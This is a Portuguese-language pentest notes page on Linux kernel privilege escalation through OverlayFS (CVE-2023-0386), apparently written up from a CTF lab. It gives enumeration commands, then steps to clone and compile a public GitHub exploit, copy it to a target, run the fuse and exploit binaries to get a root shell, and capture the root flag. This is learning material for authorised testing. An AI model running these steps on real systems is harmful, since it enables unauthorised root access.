> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Exploração de kernel (OverlayFS) - Escalação de privilégios no Linux

Anotações sobre exploração de kernel (OverlayFS) para escalação de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.

## O que é

A escalada de privilégio no kernel visa vulnerabilidades locais no kernel do Linux ou em patches específicos da distribuição. Esses exploits podem ser instáveis, então a validação da versão e os testes em laboratório são importantes antes da execução. Esta página específica se concentra em **Exploração de Kernel (OverlayFS)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Exemplos

## Elevação de Privilégios no OverlayFS CVE-2023-0386

> O OverlayFS permite sobrepor sistemas de arquivos. Em algumas versões do kernel Linux, o gerenciamento inadequado de capabilities permite que um usuário sem privilégios execute código com **privilégios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Etapas da operação**

1. **Clone o exploit** a partir da nossa máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transfira os compilados** arquivos para a máquina alvo (`scp`, `python -m http.server`, etc.).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Na máquina alvo**, execute em **dois terminais**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Se tudo correr bem, obtemos um shell **root**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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